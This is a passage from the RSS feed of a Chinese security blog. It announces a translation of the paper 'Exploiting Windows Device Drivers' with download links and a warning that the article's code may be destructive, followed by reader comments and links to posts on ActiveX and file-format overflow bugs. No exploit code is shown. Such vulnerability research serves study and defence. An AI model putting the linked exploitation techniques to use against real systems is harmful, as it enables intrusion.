title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2010年04月21日 -- <a href="http://www.softrce.net/archives/302" title="WinMount mou文件格式溢出漏洞分析">WinMount mou文件格式溢出漏洞分析</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/83/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>[国庆礼]Exploiting Windows Device Drivers译文版</title>
		<link>http://www.softrce.net/archives/10</link>
		<comments>http://www.softrce.net/archives/10#comments</comments>
		<pubDate>Tue, 30 Sep 2008 05:19:59 +0000</pubDate>
		<dc:creator>ayarei</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/10</guid>
		<description><![CDATA[<p>下载地址：本站下载 &#124; BRSBOX &#124; RayFile &#124; Box.net</p>... ]]></description>
			<content:encoded><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 本来是打算在昨天发布这个译文的，但是由于一些翻译上的问题和联系作者版权的问题，导致了译文发布的延迟。这次不一定是最完美的版本，但是大家先可以凑合下看吧。这篇文章是作为上手文章而作的，是配合着前段时间某个paper一起出来的姊妹篇，不过同期的姊妹篇不打算翻译了。文中提到了两篇paper也有打算汉化的想法，不过希望不要是无限期拖稿了&#8230;呵呵。高手是完全可以无视这篇文章的的。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 文章中如果存在什么错误，欢迎在回复中指出。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <span style="background-color: rgb(255, 0, 0);">注意：文章中的代码可能存在一定破坏性，是请使用者酌情处理，以上。代码可能由于合并转换导致存在问题，请自行修正。</span></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下载地址：本站下载（数据未恢复） | <a href="http://www.brsbox.com/filebox/down/fc/80fb2302b0fe5b3c0864dee4719e2634" target="_blank">BRSBOX</a> | <a href="http://www.rayfile.com/files/aafdbe73-8eac-11dd-b228-0014221b798a/" target="_blank">RayFile</a> | <a target="_blank" href="http://www.box.net/shared/m9jz588lvf">Box.net</a></p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/10#comment-43">2009年05月2日</a>, cyberyoung writes: ok，我看看回复之后是否可见</li><li><a href="http://www.softrce.net/archives/10#comment-44">2009年05月2日</a>, ayarei writes: <a href="#comment-43" rel="nofollow">@cyberyoung</a>, 文章的精简版发布在《黑客防线》08年10期上</li><li><a href="http://www.softrce.net/archives/10#comment-119">2010年02月22日</a>, <a href='http://hi.baidu.com/harite' rel='external nofollow' class='url'>harite</a> writes: 好东西，拜读中。</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/9" rel="bookmark" title="Permanent Link: 文章预告：Exploiting Windows Device Drivers">文章预告：Exploiting Windows Device Drivers</a></li><li><a href="http://www.softrce.net/english-version/some-skills-in-analyze-driver" rel="bookmark" title="Permanent Link: Some skills in analyze driver">Some skills in analyze driver</a></li><li><a href="http://www.softrce.net/archives/96" rel="bookmark" title="Permanent Link: 暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/10/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
